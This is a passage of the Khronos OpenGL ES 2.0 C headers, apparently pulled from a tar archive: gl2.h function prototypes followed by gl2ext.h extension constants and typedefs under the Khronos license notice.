(GLenum target, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetUniformfv (GLuint program, GLint location, GLfloat *params); GL_APICALL void GL_APIENTRY glGetUniformiv (GLuint program, GLint location, GLint *params); GL_APICALL GLint GL_APIENTRY glGetUniformLocation (GLuint program, const GLchar *name); GL_APICALL void GL_APIENTRY glGetVertexAttribfv (GLuint index, GLenum pname, GLfloat *params); GL_APICALL void GL_APIENTRY glGetVertexAttribiv (GLuint index, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetVertexAttribPointerv (GLuint index, GLenum pname, void **pointer); GL_APICALL void GL_APIENTRY glHint (GLenum target, GLenum mode); GL_APICALL GLboolean GL_APIENTRY glIsBuffer (GLuint buffer); GL_APICALL GLboolean GL_APIENTRY glIsEnabled (GLenum cap); GL_APICALL GLboolean GL_APIENTRY glIsFramebuffer (GLuint framebuffer); GL_APICALL GLboolean GL_APIENTRY glIsProgram (GLuint program); GL_APICALL GLboolean GL_APIENTRY glIsRenderbuffer (GLuint renderbuffer); GL_APICALL GLboolean GL_APIENTRY glIsShader (GLuint shader); GL_APICALL GLboolean GL_APIENTRY glIsTexture (GLuint texture); GL_APICALL void GL_APIENTRY glLineWidth (GLfloat width); GL_APICALL void GL_APIENTRY glLinkProgram (GLuint program); GL_APICALL void GL_APIENTRY glPixelStorei (GLenum pname, GLint param); GL_APICALL void GL_APIENTRY glPolygonOffset (GLfloat factor, GLfloat units); GL_APICALL void GL_APIENTRY glReadPixels (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, void *pixels); GL_APICALL void GL_APIENTRY glReleaseShaderCompiler (void); GL_APICALL void GL_APIENTRY glRenderbufferStorage (GLenum target, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glSampleCoverage (GLfloat value, GLboolean invert); GL_APICALL void GL_APIENTRY glScissor (GLint x, GLint y, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glShaderBinary (GLsizei count, const GLuint *shaders, GLenum binaryformat, const void *binary, GLsizei length); GL_APICALL void GL_APIENTRY glShaderSource (GLuint shader, GLsizei count, const GLchar *const*string, const GLint *length); GL_APICALL void GL_APIENTRY glStencilFunc (GLenum func, GLint ref, GLuint mask); GL_APICALL void GL_APIENTRY glStencilFuncSeparate (GLenum face, GLenum func, GLint ref, GLuint mask); GL_APICALL void GL_APIENTRY glStencilMask (GLuint mask); GL_APICALL void GL_APIENTRY glStencilMaskSeparate (GLenum face, GLuint mask); GL_APICALL void GL_APIENTRY glStencilOp (GLenum fail, GLenum zfail, GLenum zpass); GL_APICALL void GL_APIENTRY glStencilOpSeparate (GLenum face, GLenum sfail, GLenum dpfail, GLenum dppass); GL_APICALL void GL_APIENTRY glTexImage2D (GLenum target, GLint level, GLint internalformat, GLsizei width, GLsizei height, GLint border, GLenum format, GLenum type, const void *pixels); GL_APICALL void GL_APIENTRY glTexParameterf (GLenum target, GLenum pname, GLfloat param); GL_APICALL void GL_APIENTRY glTexParameterfv (GLenum target, GLenum pname, const GLfloat *params); GL_APICALL void GL_APIENTRY glTexParameteri (GLenum target, GLenum pname, GLint param); GL_APICALL void GL_APIENTRY glTexParameteriv (GLenum target, GLenum pname, const GLint *params); GL_APICALL void GL_APIENTRY glTexSubImage2D (GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLenum type, const void *pixels); GL_APICALL void GL_APIENTRY glUniform1f (GLint location, GLfloat v0); GL_APICALL void GL_APIENTRY glUniform1fv (GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniform1i (GLint location, GLint v0); GL_APICALL void GL_APIENTRY glUniform1iv (GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glUniform2f (GLint location, GLfloat v0, GLfloat v1); GL_APICALL void GL_APIENTRY glUniform2fv (GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniform2i (GLint location, GLint v0, GLint v1); GL_APICALL void GL_APIENTRY glUniform2iv (GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glUniform3f (GLint location, GLfloat v0, GLfloat v1, GLfloat v2); GL_APICALL void GL_APIENTRY glUniform3fv (GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniform3i (GLint location, GLint v0, GLint v1, GLint v2); GL_APICALL void GL_APIENTRY glUniform3iv (GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glUniform4f (GLint location, GLfloat v0, GLfloat v1, GLfloat v2, GLfloat v3); GL_APICALL void GL_APIENTRY glUniform4fv (GLint location, GLsizei count, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniform4i (GLint location, GLint v0, GLint v1, GLint v2, GLint v3); GL_APICALL void GL_APIENTRY glUniform4iv (GLint location, GLsizei count, const GLint *value); GL_APICALL void GL_APIENTRY glUniformMatrix2fv (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix3fv (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUniformMatrix4fv (GLint location, GLsizei count, GLboolean transpose, const GLfloat *value); GL_APICALL void GL_APIENTRY glUseProgram (GLuint program); GL_APICALL void GL_APIENTRY glValidateProgram (GLuint program); GL_APICALL void GL_APIENTRY glVertexAttrib1f (GLuint index, GLfloat x); GL_APICALL void GL_APIENTRY glVertexAttrib1fv (GLuint index, const GLfloat *v); GL_APICALL void GL_APIENTRY glVertexAttrib2f (GLuint index, GLfloat x, GLfloat y); GL_APICALL void GL_APIENTRY glVertexAttrib2fv (GLuint index, const GLfloat *v); GL_APICALL void GL_APIENTRY glVertexAttrib3f (GLuint index, GLfloat x, GLfloat y, GLfloat z); GL_APICALL void GL_APIENTRY glVertexAttrib3fv (GLuint index, const GLfloat *v); GL_APICALL void GL_APIENTRY glVertexAttrib4f (GLuint index, GLfloat x, GLfloat y, GLfloat z, GLfloat w); GL_APICALL void GL_APIENTRY glVertexAttrib4fv (GLuint index, const GLfloat *v); GL_APICALL void GL_APIENTRY glVertexAttribPointer (GLuint index, GLint size, GLenum type, GLboolean normalized, GLsizei stride, const void *pointer); GL_APICALL void GL_APIENTRY glViewport (GLint x, GLint y, GLsizei width, GLsizei height); #endif #endif /* GL_ES_VERSION_2_0 */ #ifdef __cplusplus } #endif #endif GLES2/gl2ext.h 0000644 00000703702 15246445047 0006762 0 ustar 00 #ifndef __gles2_gl2ext_h_ #define __gles2_gl2ext_h_ 1 #ifdef __cplusplus extern "C" { #endif /* ** Copyright (c) 2013-2018 The Khronos Group Inc. ** ** Permission is hereby granted, free of charge, to any person obtaining a ** copy of this software and/or associated documentation files (the ** "Materials"), to deal in the Materials without restriction, including ** without limitation the rights to use, copy, modify, merge, publish, ** distribute, sublicense, and/or sell copies of the Materials, and to ** permit persons to whom the Materials are furnished to do so, subject to ** the following conditions: ** ** The above copyright notice and this permission notice shall be included ** in all copies or substantial portions of the Materials. ** ** THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF ** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY ** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, ** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE ** MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS. */ /* ** This header is generated from the Khronos OpenGL / OpenGL ES XML ** API Registry. The current version of the Registry, generator scripts ** used to make the header, and the header can be found at ** https://github.com/KhronosGroup/OpenGL-Registry */ #ifndef GL_APIENTRYP #define GL_APIENTRYP GL_APIENTRY* #endif /* Generated on date 20190805 */ /* Generated C header for: * API: gles2 * Profile: common * Versions considered: 2\.[0-9] * Versions emitted: _nomatch_^ * Default extensions included: gles2 * Additional extensions included: _nomatch_^ * Extensions removed: _nomatch_^ */ #ifndef GL_KHR_blend_equation_advanced #define GL_KHR_blend_equation_advanced 1 #define GL_MULTIPLY_KHR 0x9294 #define GL_SCREEN_KHR 0x9295 #define GL_OVERLAY_KHR 0x9296 #define GL_DARKEN_KHR 0x9297 #define GL_LIGHTEN_KHR 0x9298 #define GL_COLORDODGE_KHR 0x9299 #define GL_COLORBURN_KHR 0x929A #define GL_HARDLIGHT_KHR 0x929B #define GL_SOFTLIGHT_KHR 0x929C #define GL_DIFFERENCE_KHR 0x929E #define GL_EXCLUSION_KHR 0x92A0 #define GL_HSL_HUE_KHR 0x92AD #define GL_HSL_SATURATION_KHR 0x92AE #define GL_HSL_COLOR_KHR 0x92AF #define GL_HSL_LUMINOSITY_KHR 0x92B0 typedef void (GL_APIENTRYP PFNGLBLENDBARRIERKHRPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBlendBarrierKHR (void); #endif #endif /* GL_KHR_blend_equation_advanced */ #ifndef GL_KHR_blend_equation_advanced_coherent #define GL_KHR_blend_equation_advanced_coherent 1 #define GL_BLEND_ADVANCED_COHERENT_KHR 0x9285 #endif /* GL_KHR_blend_equation_advanced_coherent */ #ifndef GL_KHR_context_flush_control #define GL_KHR_context_flush_control 1 #define GL_CONTEXT_RELEASE_BEHAVIOR_KHR 0x82FB #define GL_CONTEXT_RELEASE_BEHAVIOR_FLUSH_KHR 0x82FC #endif /* GL_KHR_context_flush_control */ #ifndef GL_KHR_debug #define GL_KHR_debug 1 typedef void (GL_APIENTRY *GLDEBUGPROCKHR)(GLenum source,GLenum type,GLuint id,GLenum severity,GLsizei length,const GLchar *message,const void *userParam); #define GL_SAMPLER 0x82E6 #define GL_DEBUG_OUTPUT_SYNCHRONOUS_KHR 0x8242 #define GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH_KHR 0x8243 #define GL_DEBUG_CALLBACK_FUNCTION_KHR 0x8244 #define GL_DEBUG_CALLBACK_USER_PARAM_KHR 0x8245 #define GL_DEBUG_SOURCE_API_KHR 0x8246 #define GL_DEBUG_SOURCE_WINDOW_SYSTEM_KHR 0x8247 #define GL_DEBUG_SOURCE_SHADER_COMPILER_KHR 0x8248 #define GL_DEBUG_SOURCE_THIRD_PARTY_KHR 0x8249 #define GL_DEBUG_SOURCE_APPLICATION_KHR 0x824A #define GL_DEBUG_SOURCE_OTHER_KHR 0x824B #define GL_DEBUG_TYPE_ERROR_KHR 0x824C #define GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR_KHR 0x824D #define GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR_KHR 0x824E #define GL_DEBUG_TYPE_PORTABILITY_KHR 0x824F #define GL_DEBUG_TYPE_PERFORMANCE_KHR 0x8250 #define GL_DEBUG_TYPE_OTHER_KHR 0x8251 #define GL_DEBUG_TYPE_MARKER_KHR 0x8268 #define GL_DEBUG_TYPE_PUSH_GROUP_KHR 0x8269 #define GL_DEBUG_TYPE_POP_GROUP_KHR 0x826A #define GL_DEBUG_SEVERITY_NOTIFICATION_KHR 0x826B #define GL_MAX_DEBUG_GROUP_STACK_DEPTH_KHR 0x826C #define GL_DEBUG_GROUP_STACK_DEPTH_KHR 0x826D #define GL_BUFFER_KHR 0x82E0 #define GL_SHADER_KHR 0x82E1 #define GL_PROGRAM_KHR 0x82E2 #define GL_VERTEX_ARRAY_KHR 0x8074 #define GL_QUERY_KHR 0x82E3 #define GL_PROGRAM_PIPELINE_KHR 0x82E4 #define GL_SAMPLER_KHR 0x82E6 #define GL_MAX_LABEL_LENGTH_KHR 0x82E8 #define GL_MAX_DEBUG_MESSAGE_LENGTH_KHR 0x9143 #define GL_MAX_DEBUG_LOGGED_MESSAGES_KHR 0x9144 #define GL_DEBUG_LOGGED_MESSAGES_KHR 0x9145 #define GL_DEBUG_SEVERITY_HIGH_KHR 0x9146 #define GL_DEBUG_SEVERITY_MEDIUM_KHR 0x9147 #define GL_DEBUG_SEVERITY_LOW_KHR 0x9148 #define GL_DEBUG_OUTPUT_KHR 0x92E0 #define GL_CONTEXT_FLAG_DEBUG_BIT_KHR 0x00000002 #define GL_STACK_OVERFLOW_KHR 0x0503 #define GL_STACK_UNDERFLOW_KHR 0x0504 typedef void (GL_APIENTRYP PFNGLDEBUGMESSAGECONTROLKHRPROC) (GLenum source, GLenum type, GLenum severity, GLsizei count, const GLuint *ids, GLboolean enabled); typedef void (GL_APIENTRYP PFNGLDEBUGMESSAGEINSERTKHRPROC) (GLenum source, GLenum type, GLuint id, GLenum severity, GLsizei length, const GLchar *buf); typedef void (GL_APIENTRYP PFNGLDEBUGMESSAGECALLBACKKHRPROC) (GLDEBUGPROCKHR callback, const void *userParam); typedef GLuint (GL_APIENTRYP PFNGLGETDEBUGMESSAGELOGKHRPROC) (GLuint count, GLsizei bufSize, GLenum *sources, GLenum *types, GLuint *ids, GLenum *severities, GLsizei *lengths, GLchar *messageLog); typedef void (GL_APIENTRYP PFNGLPUSHDEBUGGROUPKHRPROC) (GLenum source, GLuint id, GLsizei length, const GLchar *message); typedef void (GL_APIENTRYP PFNGLPOPDEBUGGROUPKHRPROC) (void); typedef void (GL_APIENTRYP PFNGLOBJECTLABELKHRPROC) (GLenum identifier, GLuint name, GLsizei length, const GLchar *label); typedef void (GL_APIENTRYP PFNGLGETOBJECTLABELKHRPROC) (GLenum identifier, GLuint name, GLsizei bufSize, GLsizei *length, GLchar *label); typedef void (GL_APIENTRYP PFNGLOBJECTPTRLABELKHRPROC) (const void *ptr, GLsizei length, const GLchar *label); typedef void (GL_APIENTRYP PFNGLGETOBJECTPTRLABELKHRPROC) (const void *ptr, GLsizei bufSize, GLsizei *length, GLchar *label); typedef void (GL_APIENTRYP PFNGLGETPOINTERVKHRPROC) (GLenum pname, void **params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDebugMessageControlKHR (GLenum source, GLenum type, GLenum severity, GLsizei count, const GLuint *ids, GLboolean enabled); GL_APICALL void GL_APIENTRY glDebugMessageInsertKHR (GLenum source, GLenum type, GLuint id, GLenum severity, GLsizei length, const GLchar *buf); GL_APICALL void GL_APIENTRY glDebugMessageCallbackKHR (GLDEBUGPROCKHR callback, const void *userParam); GL_APICALL GLuint GL_APIENTRY glGetDebugMessageLogKHR (GLuint count, GLsizei bufSize, GLenum *sources, GLenum *types, GLuint *ids, GLenum *severities, GLsizei *lengths, GLchar *messageLog); GL_APICALL void GL_APIENTRY glPushDebugGroupKHR (GLenum source, GLuint id, GLsizei length, const GLchar *message); GL_APICALL void GL_APIENTRY glPopDebugGroupKHR (void); GL_APICALL void GL_APIENTRY glObjectLabelKHR (GLenum identifier, GLuint name, GLsizei length, const GLchar *label); GL_APICALL void GL_APIENTRY glGetObjectLabelKHR (GLenum identifier, GLuint name, GLsizei bufSize, GLsizei *length, GLchar *label); GL_APICALL void GL_APIENTRY glObjectPtrLabelKHR (const void *ptr, GLsizei length, const GLchar *label); GL_APICALL void GL_APIENTRY glGetObjectPtrLabelKHR (const void *ptr, GLsizei bufSize, GLsizei *length, GLchar *label); GL_APICALL void GL_APIENTRY glGetPointervKHR (GLenum pname, void **params); #endif #endif /* GL_KHR_debug */ #ifndef GL_KHR_no_error #define GL_KHR_no_error 1 #define GL_CONTEXT_FLAG_NO_ERROR_BIT_KHR 0x00000008 #endif /* GL_KHR_no_error */ #ifndef GL_KHR_parallel_shader_compile #define GL_KHR_parallel_shader_compile 1 #define GL_MAX_SHADER_COMPILER_THREADS_KHR 0x91B0 #define GL_COMPLETION_STATUS_KHR 0x91B1 typedef void (GL_APIENTRYP PFNGLMAXSHADERCOMPILERTHREADSKHRPROC) (GLuint count); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glMaxShaderCompilerThreadsKHR (GLuint count); #endif #endif /* GL_KHR_parallel_shader_compile */ #ifndef GL_KHR_robust_buffer_access_behavior #define GL_KHR_robust_buffer_access_behavior 1 #endif /* GL_KHR_robust_buffer_access_behavior */ #ifndef GL_KHR_robustness #define GL_KHR_robustness 1 #define GL_CONTEXT_ROBUST_ACCESS_KHR 0x90F3 #define GL_LOSE_CONTEXT_ON_RESET_KHR 0x8252 #define GL_GUILTY_CONTEXT_RESET_KHR 0x8253 #define GL_INNOCENT_CONTEXT_RESET_KHR 0x8254 #define GL_UNKNOWN_CONTEXT_RESET_KHR 0x8255 #define GL_RESET_NOTIFICATION_STRATEGY_KHR 0x8256 #define GL_NO_RESET_NOTIFICATION_KHR 0x8261 #define GL_CONTEXT_LOST_KHR 0x0507 typedef GLenum (GL_APIENTRYP PFNGLGETGRAPHICSRESETSTATUSKHRPROC) (void); typedef void (GL_APIENTRYP PFNGLREADNPIXELSKHRPROC) (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLsizei bufSize, void *data); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMFVKHRPROC) (GLuint program, GLint location, GLsizei bufSize, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMIVKHRPROC) (GLuint program, GLint location, GLsizei bufSize, GLint *params); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMUIVKHRPROC) (GLuint program, GLint location, GLsizei bufSize, GLuint *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLenum GL_APIENTRY glGetGraphicsResetStatusKHR (void); GL_APICALL void GL_APIENTRY glReadnPixelsKHR (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLsizei bufSize, void *data); GL_APICALL void GL_APIENTRY glGetnUniformfvKHR (GLuint program, GLint location, GLsizei bufSize, GLfloat *params); GL_APICALL void GL_APIENTRY glGetnUniformivKHR (GLuint program, GLint location, GLsizei bufSize, GLint *params); GL_APICALL void GL_APIENTRY glGetnUniformuivKHR (GLuint program, GLint location, GLsizei bufSize, GLuint *params); #endif #endif /* GL_KHR_robustness */ #ifndef GL_KHR_shader_subgroup #define GL_KHR_shader_subgroup 1 #define GL_SUBGROUP_SIZE_KHR 0x9532 #define GL_SUBGROUP_SUPPORTED_STAGES_KHR 0x9533 #define GL_SUBGROUP_SUPPORTED_FEATURES_KHR 0x9534 #define GL_SUBGROUP_QUAD_ALL_STAGES_KHR 0x9535 #define GL_SUBGROUP_FEATURE_BASIC_BIT_KHR 0x00000001 #define GL_SUBGROUP_FEATURE_VOTE_BIT_KHR 0x00000002 #define GL_SUBGROUP_FEATURE_ARITHMETIC_BIT_KHR 0x00000004 #define GL_SUBGROUP_FEATURE_BALLOT_BIT_KHR 0x00000008 #define GL_SUBGROUP_FEATURE_SHUFFLE_BIT_KHR 0x00000010 #define GL_SUBGROUP_FEATURE_SHUFFLE_RELATIVE_BIT_KHR 0x00000020 #define GL_SUBGROUP_FEATURE_CLUSTERED_BIT_KHR 0x00000040 #define GL_SUBGROUP_FEATURE_QUAD_BIT_KHR 0x00000080 #endif /* GL_KHR_shader_subgroup */ #ifndef GL_KHR_texture_compression_astc_hdr #define GL_KHR_texture_compression_astc_hdr 1 #define GL_COMPRESSED_RGBA_ASTC_4x4_KHR 0x93B0 #define GL_COMPRESSED_RGBA_ASTC_5x4_KHR 0x93B1 #define GL_COMPRESSED_RGBA_ASTC_5x5_KHR 0x93B2 #define GL_COMPRESSED_RGBA_ASTC_6x5_KHR 0x93B3 #define GL_COMPRESSED_RGBA_ASTC_6x6_KHR 0x93B4 #define GL_COMPRESSED_RGBA_ASTC_8x5_KHR 0x93B5 #define GL_COMPRESSED_RGBA_ASTC_8x6_KHR 0x93B6 #define GL_COMPRESSED_RGBA_ASTC_8x8_KHR 0x93B7 #define GL_COMPRESSED_RGBA_ASTC_10x5_KHR 0x93B8 #define GL_COMPRESSED_RGBA_ASTC_10x6_KHR 0x93B9 #define GL_COMPRESSED_RGBA_ASTC_10x8_KHR 0x93BA #define GL_COMPRESSED_RGBA_ASTC_10x10_KHR 0x93BB #define GL_COMPRESSED_RGBA_ASTC_12x10_KHR 0x93BC #define GL_COMPRESSED_RGBA_ASTC_12x12_KHR 0x93BD #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_4x4_KHR 0x93D0 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x4_KHR 0x93D1 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_5x5_KHR 0x93D2 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x5_KHR 0x93D3 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_6x6_KHR 0x93D4 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x5_KHR 0x93D5 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x6_KHR 0x93D6 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x8_KHR 0x93D7 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x5_KHR 0x93D8 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR 0x93D9 #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x8_KHR 0x93DA #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_10x10_KHR 0x93DB #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x10_KHR 0x93DC #define GL_COMPRESSED_SRGB8_ALPHA8_ASTC_12x12_KHR 0x93DD #endif /* GL_KHR_texture_compression_astc_hdr */ #ifndef GL_KHR_texture_compression_astc_ldr #define GL_KHR_texture_compression_astc_ldr 1 #endif /* GL_KHR_texture_compression_astc_ldr */ #ifndef GL_KHR_texture_compression_astc_sliced_3d #define GL_KHR_texture_compression_astc_sliced_3d 1 #endif /* GL_KHR_texture_compression_astc_sliced_3d */ #ifndef GL_OES_EGL_image #define GL_OES_EGL_image 1 typedef void *GLeglImageOES; typedef void (GL_APIENTRYP PFNGLEGLIMAGETARGETTEXTURE2DOESPROC) (GLenum target, GLeglImageOES image); typedef void (GL_APIENTRYP PFNGLEGLIMAGETARGETRENDERBUFFERSTORAGEOESPROC) (GLenum target, GLeglImageOES image); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glEGLImageTargetTexture2DOES (GLenum target, GLeglImageOES image); GL_APICALL void GL_APIENTRY glEGLImageTargetRenderbufferStorageOES (GLenum target, GLeglImageOES image); #endif #endif /* GL_OES_EGL_image */ #ifndef GL_OES_EGL_image_external #define GL_OES_EGL_image_external 1 #define GL_TEXTURE_EXTERNAL_OES 0x8D65 #define GL_TEXTURE_BINDING_EXTERNAL_OES 0x8D67 #define GL_REQUIRED_TEXTURE_IMAGE_UNITS_OES 0x8D68 #define GL_SAMPLER_EXTERNAL_OES 0x8D66 #endif /* GL_OES_EGL_image_external */ #ifndef GL_OES_EGL_image_external_essl3 #define GL_OES_EGL_image_external_essl3 1 #endif /* GL_OES_EGL_image_external_essl3 */ #ifndef GL_OES_compressed_ETC1_RGB8_sub_texture #define GL_OES_compressed_ETC1_RGB8_sub_texture 1 #endif /* GL_OES_compressed_ETC1_RGB8_sub_texture */ #ifndef GL_OES_compressed_ETC1_RGB8_texture #define GL_OES_compressed_ETC1_RGB8_texture 1 #define GL_ETC1_RGB8_OES 0x8D64 #endif /* GL_OES_compressed_ETC1_RGB8_texture */ #ifndef GL_OES_compressed_paletted_texture #define GL_OES_compressed_paletted_texture 1 #define GL_PALETTE4_RGB8_OES 0x8B90 #define GL_PALETTE4_RGBA8_OES 0x8B91 #define GL_PALETTE4_R5_G6_B5_OES 0x8B92 #define GL_PALETTE4_RGBA4_OES 0x8B93 #define GL_PALETTE4_RGB5_A1_OES 0x8B94 #define GL_PALETTE8_RGB8_OES 0x8B95 #define GL_PALETTE8_RGBA8_OES 0x8B96 #define GL_PALETTE8_R5_G6_B5_OES 0x8B97 #define GL_PALETTE8_RGBA4_OES 0x8B98 #define GL_PALETTE8_RGB5_A1_OES 0x8B99 #endif /* GL_OES_compressed_paletted_texture */ #ifndef GL_OES_copy_image #define GL_OES_copy_image 1 typedef void (GL_APIENTRYP PFNGLCOPYIMAGESUBDATAOESPROC) (GLuint srcName, GLenum srcTarget, GLint srcLevel, GLint srcX, GLint srcY, GLint srcZ, GLuint dstName, GLenum dstTarget, GLint dstLevel, GLint dstX, GLint dstY, GLint dstZ, GLsizei srcWidth, GLsizei srcHeight, GLsizei srcDepth); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glCopyImageSubDataOES (GLuint srcName, GLenum srcTarget, GLint srcLevel, GLint srcX, GLint srcY, GLint srcZ, GLuint dstName, GLenum dstTarget, GLint dstLevel, GLint dstX, GLint dstY, GLint dstZ, GLsizei srcWidth, GLsizei srcHeight, GLsizei srcDepth); #endif #endif /* GL_OES_copy_image */ #ifndef GL_OES_depth24 #define GL_OES_depth24 1 #define GL_DEPTH_COMPONENT24_OES 0x81A6 #endif /* GL_OES_depth24 */ #ifndef GL_OES_depth32 #define GL_OES_depth32 1 #define GL_DEPTH_COMPONENT32_OES 0x81A7 #endif /* GL_OES_depth32 */ #ifndef GL_OES_depth_texture #define GL_OES_depth_texture 1 #endif /* GL_OES_depth_texture */ #ifndef GL_OES_draw_buffers_indexed #define GL_OES_draw_buffers_indexed 1 #define GL_MIN 0x8007 #define GL_MAX 0x8008 typedef void (GL_APIENTRYP PFNGLENABLEIOESPROC) (GLenum target, GLuint index); typedef void (GL_APIENTRYP PFNGLDISABLEIOESPROC) (GLenum target, GLuint index); typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONIOESPROC) (GLuint buf, GLenum mode); typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONSEPARATEIOESPROC) (GLuint buf, GLenum modeRGB, GLenum modeAlpha); typedef void (GL_APIENTRYP PFNGLBLENDFUNCIOESPROC) (GLuint buf, GLenum src, GLenum dst); typedef void (GL_APIENTRYP PFNGLBLENDFUNCSEPARATEIOESPROC) (GLuint buf, GLenum srcRGB, GLenum dstRGB, GLenum srcAlpha, GLenum dstAlpha); typedef void (GL_APIENTRYP PFNGLCOLORMASKIOESPROC) (GLuint index, GLboolean r, GLboolean g, GLboolean b, GLboolean a); typedef GLboolean (GL_APIENTRYP PFNGLISENABLEDIOESPROC) (GLenum target, GLuint index); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glEnableiOES (GLenum target, GLuint index); GL_APICALL void GL_APIENTRY glDisableiOES (GLenum target, GLuint index); GL_APICALL void GL_APIENTRY glBlendEquationiOES (GLuint buf, GLenum mode); GL_APICALL void GL_APIENTRY glBlendEquationSeparateiOES (GLuint buf, GLenum modeRGB, GLenum modeAlpha); GL_APICALL void GL_APIENTRY glBlendFunciOES (GLuint buf, GLenum src, GLenum dst); GL_APICALL void GL_APIENTRY glBlendFuncSeparateiOES (GLuint buf, GLenum srcRGB, GLenum dstRGB, GLenum srcAlpha, GLenum dstAlpha); GL_APICALL void GL_APIENTRY glColorMaskiOES (GLuint index, GLboolean r, GLboolean g, GLboolean b, GLboolean a); GL_APICALL GLboolean GL_APIENTRY glIsEnablediOES (GLenum target, GLuint index); #endif #endif /* GL_OES_draw_buffers_indexed */ #ifndef GL_OES_draw_elements_base_vertex #define GL_OES_draw_elements_base_vertex 1 typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSBASEVERTEXOESPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLint basevertex); typedef void (GL_APIENTRYP PFNGLDRAWRANGEELEMENTSBASEVERTEXOESPROC) (GLenum mode, GLuint start, GLuint end, GLsizei count, GLenum type, const void *indices, GLint basevertex); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXOESPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLint basevertex); typedef void (GL_APIENTRYP PFNGLMULTIDRAWELEMENTSBASEVERTEXEXTPROC) (GLenum mode, const GLsizei *count, GLenum type, const void *const*indices, GLsizei primcount, const GLint *basevertex); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawElementsBaseVertexOES (GLenum mode, GLsizei count, GLenum type, const void *indices, GLint basevertex); GL_APICALL void GL_APIENTRY glDrawRangeElementsBaseVertexOES (GLenum mode, GLuint start, GLuint end, GLsizei count, GLenum type, const void *indices, GLint basevertex); GL_APICALL void GL_APIENTRY glDrawElementsInstancedBaseVertexOES (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLint basevertex); GL_APICALL void GL_APIENTRY glMultiDrawElementsBaseVertexEXT (GLenum mode, const GLsizei *count, GLenum type, const void *const*indices, GLsizei primcount, const GLint *basevertex); #endif #endif /* GL_OES_draw_elements_base_vertex */ #ifndef GL_OES_element_index_uint #define GL_OES_element_index_uint 1 #endif /* GL_OES_element_index_uint */ #ifndef GL_OES_fbo_render_mipmap #define GL_OES_fbo_render_mipmap 1 #endif /* GL_OES_fbo_render_mipmap */ #ifndef GL_OES_fragment_precision_high #define GL_OES_fragment_precision_high 1 #endif /* GL_OES_fragment_precision_high */ #ifndef GL_OES_geometry_point_size #define GL_OES_geometry_point_size 1 #endif /* GL_OES_geometry_point_size */ #ifndef GL_OES_geometry_shader #define GL_OES_geometry_shader 1 #define GL_GEOMETRY_SHADER_OES 0x8DD9 #define GL_GEOMETRY_SHADER_BIT_OES 0x00000004 #define GL_GEOMETRY_LINKED_VERTICES_OUT_OES 0x8916 #define GL_GEOMETRY_LINKED_INPUT_TYPE_OES 0x8917 #define GL_GEOMETRY_LINKED_OUTPUT_TYPE_OES 0x8918 #define GL_GEOMETRY_SHADER_INVOCATIONS_OES 0x887F #define 